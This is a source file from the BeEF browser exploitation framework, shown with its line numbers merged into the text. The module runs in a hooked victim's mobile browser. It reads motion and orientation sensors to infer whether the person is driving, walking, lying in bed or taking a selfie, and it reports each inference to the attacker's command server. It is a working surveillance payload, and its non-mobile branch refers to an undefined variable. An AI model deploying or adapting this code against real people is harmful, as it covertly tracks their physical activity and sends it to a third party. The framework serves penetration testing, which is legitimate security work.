Path: blob/master/modules/misc/track_physical_movement/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var status = 'loading';9var update_interval = 1000;1011if (!beef.hardware.isMobileDevice()) {12beef.debug(result);13beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());14}1516var historicMotion = {17"x": [],18"y": [],19"z": []20}21var historicOrientation = {22"x": [],23"y": [],24"z": []25}2627function setStatus(new_status) {28if (status == new_status) return; // status hasn't changed2930status = new_status;31beef.debug(new_status);32beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());33}3435function updateStatus() {36var movement = mostRecentMovementOverall(75)3738lastHistoricOrientationX = historicOrientation["x"][historicOrientation["x"].length - 1];39lastHistoricOrientationY = historicOrientation["y"][historicOrientation["y"].length - 1];40lastHistoricOrientationZ = historicOrientation["z"][historicOrientation["z"].length - 1];4142// Below some stupid, very basic code to guess what the user is doing43// As described in the README, this is just a proof of concept44if (mostRecentMovementOverall(4000) > 40) { // TODO: haven't tested this, 1,000 so it's a longer time45setStatus("driving or other form of transportation")46} else if (lastHistoricOrientationZ > 70 || lastHistoricOrientationZ < -70) {47setStatus("lying in bed sideways, or taking a landscape picture")48} else if (lastHistoricOrientationY > 160 || lastHistoricOrientationY < -160) {49setStatus("lying on your back, with your phone up")50} else if (lastHistoricOrientationY >= 30 && lastHistoricOrientationY < 70) {51if (movement > 18) {52setStatus("using your phone while walking")53} else {54setStatus("using your phone, sitting or standing")55}56} else if (lastHistoricOrientationY >= 70 && lastHistoricOrientationY < 95) {57if (movement > 18) {58setStatus("using your phone while walking")59} else {60setStatus("taking a picture")61}62} else if (lastHistoricOrientationY >= 95 && lastHistoricOrientationY < 120) {63setStatus("taking a selfie")64} else if (Math.round(lastHistoricOrientationZ) == 0 && Math.round(lastHistoricOrientationY) == 0) {65setStatus("using the phone on a table")66} else {67if (movement > 18) {68setStatus("using your phone while walking")69} else {70setStatus("using your phone, sitting or standing")71}72}73}7475function mostRecentMovementOverall(numberOfHistoricPoints) {76return (mostRecentMovement(historicMotion["x"], numberOfHistoricPoints, true) +77mostRecentMovement(historicMotion["y"], numberOfHistoricPoints, true) +78mostRecentMovement(historicMotion["z"], numberOfHistoricPoints, true)) / 3.079}8081// numberOfHistoricPoints: 100 is about 3 seconds82function mostRecentMovement(array, numberOfHistoricPoints, removeNegatives) {83if (array.length > numberOfHistoricPoints) {84totalSum = 085for (var toCount = 0; toCount < numberOfHistoricPoints; toCount++) {86currentElement = array[array.length - toCount - 1]87currentElement *= (1 - toCount / numberOfHistoricPoints) // weight the most recent data more88if (currentElement < 0 && removeNegatives) currentElement = currentElement * -189if (currentElement > 0.1 || currentElement < -0.1) totalSum += currentElement90}91return totalSum * 100 / numberOfHistoricPoints92}93return 0 // not enough data yet94}9596window.addEventListener("devicemotion", motion, false);9798function motion(event) {99//motionX = (mostRecentMovement(historicMotion["x"], 150, false)).toFixed(2)100//motionY = (mostRecentMovement(historicMotion["y"], 150, false)).toFixed(2)101//motionZ = (mostRecentMovement(historicMotion["z"], 150, false)).toFixed(2)102103historicMotion["x"].push(event.acceleration.x)104historicMotion["y"].push(event.acceleration.y)105historicMotion["z"].push(event.acceleration.z)106}107108window.addEventListener("deviceorientation", orientation, false);109110function orientation(event) {111//orientationX = Math.round(event.alpha)112//orientationY = Math.round(event.beta)113//orientationZ = Math.round(event.gamma)114115historicOrientation["x"].push(event.alpha)116historicOrientation["y"].push(event.beta)117historicOrientation["z"].push(event.gamma)118}119120setInterval(updateStatus, update_interval)121});122123124